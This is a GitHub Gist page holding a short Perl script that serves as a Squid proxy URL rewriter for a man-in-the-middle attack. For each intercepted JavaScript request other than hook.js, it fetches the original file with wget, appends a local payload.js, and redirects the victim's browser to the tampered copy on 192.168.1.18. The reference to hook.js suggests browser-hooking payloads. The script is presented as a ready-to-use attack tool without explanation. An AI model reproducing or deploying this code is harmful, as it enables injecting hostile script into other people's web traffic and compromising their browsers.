Created
November 2, 2015 23:53
-
-
Save matrixfox/790e489506105c33f797 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
$|=1; | |
#$count = 0; | |
$pid = $$; | |
while (<>) { | |
chomp; | |
@X = split; | |
$url = $X[1]; | |
if ($_ =~ /(.*\.js)/i) { | |
if ($_ =~ /(hook\.js)/i) { | |
print $X[0]." \n"; | |
} else { | |
$hyperlink = $1; | |
system("/usr/bin/wget","-q","-O","/var/www/html/tmp/$pid-$count.js","$hyperlink"); | |
system("chmod o+r /var/www/html/tmp/$pid-$count.js"); | |
system("cat /etc/squid3/payload.js >> /var/www/html/tmp/$pid-$count.js"); | |
print "http://192.168.1.18/tmp/$pid-$count.js\n"; | |
} | |
} else { | |
# UPGRADE WARNING: URL rewriter reponded with garbage space | |
print $X[0]." \n"; | |
} | |
#$count++; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment